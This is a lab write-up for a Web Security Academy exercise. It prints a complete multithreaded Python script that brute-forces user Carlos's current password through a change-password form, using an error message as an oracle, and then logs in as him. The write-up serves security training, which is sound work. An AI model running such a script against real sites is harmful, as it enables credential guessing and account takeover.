Logged in as Wiener:

Changing the password normally gives a success message; otherwise, it redirects to login with a 302:

We launched a Burp Intruder sniper attack with the password list against the current-password parameter:

However, no 200 response was obtained:

We modified the attack to target Carlos with a wrong password in the second field and used the following Python script to detect the response containing "New passwords do not match":

#!/usr/bin/env python3
import requests, threading, queue, sys, time
from time import perf_counter
 
TARGET = "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net/my-account/change-password"
COOKIE = "session=xp1FEm7kzk9NzSxSH9UqHFP2e9dNlXYa"
FORM_DATA_TEMPLATE = {
    "username": "carlos",
    "current-password": "",
    "new-password-1": "password123",
    "new-password-2": "pass"
}
THREADS = 40
TIMEOUT = 10
 
q = queue.Queue()
with open("passwords.txt") as f:
    for line in f:
        q.put(line.strip())
 
attempted = 0
attempted_lock = threading.Lock()
found = threading.Event()
result_password = [None]
TOTAL = q.qsize()
start_time = perf_counter()
last_print_time = start_time
last_attempted_count = 0
 
def worker():
    global attempted
    s = requests.Session()
    s.headers.update({
        "Host": "0ab40085037b57e280db5d43006700c2.web-security-academy.net",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net",
        "Referer": "https://0ab40085037b57e280db5d43006700c2.web-security-academy.net/my-account/change-password",
        "Upgrade-Insecure-Requests": "1",
        "Cookie": COOKIE
    })
    while not found.is_set():
        try:
            password = q.get_nowait()
        except queue.Empty:
            return
        data = FORM_DATA_TEMPLATE.copy()
        data["current-password"] = password
        try:
            r = s.post(TARGET, data=data, timeout=TIMEOUT)
            with attempted_lock:
                attempted += 1
            if "New passwords do not match" in r.text:
                result_password[0] = password
                found.set()
                print(f"\nVALID PASSWORD FOUND: {password}")
                return
        except Exception:
            with attempted_lock:
                attempted += 1
        finally:
            q.task_done()
 
def monitor():
    global last_print_time, last_attempted_count
    while not found.is_set():
        time.sleep(0.5)
        now = perf_counter()
        with attempted_lock:
            att = attempted
        elapsed = now - start_time
        recent_delta = att - last_attempted_count
        recent_time = now - last_print_time
        rate = att / elapsed if elapsed > 0 else 0
        recent_rate = recent_delta / recent_time if recent_time > 0 else 0
        remaining = TOTAL - att
        eta = remaining / rate if rate > 0 else float('inf')
        percent = (att / TOTAL) * 100
        last_attempted_count = att
        last_print_time = now
        eta_str = "?" if eta == float('inf') else f"{int(eta)}s"
        sys.stdout.write(f"\rTried: {att}/{TOTAL} ({percent:.2f}%) | rate: {rate:.1f}/s | remaining: {remaining} | ETA: {eta_str} ")
        sys.stdout.flush()
 
threads = []
for _ in range(THREADS):
    t = threading.Thread(target=worker, daemon=True)
    t.start()
    threads.append(t)
 
m = threading.Thread(target=monitor, daemon=True)
m.start()
 
try:
    for t in threads:
        t.join()
    q.join()
except KeyboardInterrupt:
    found.set()
 
if result_password[0]:
    print(result_password[0])
    sys.exit(0)
else:
    print("\nNO VALID PASSWORD FOUND")
    sys.exit(1)

The script revealed that the current password of Carlos is nicole:

Using this password, we logged in as Carlos and successfully solved the lab: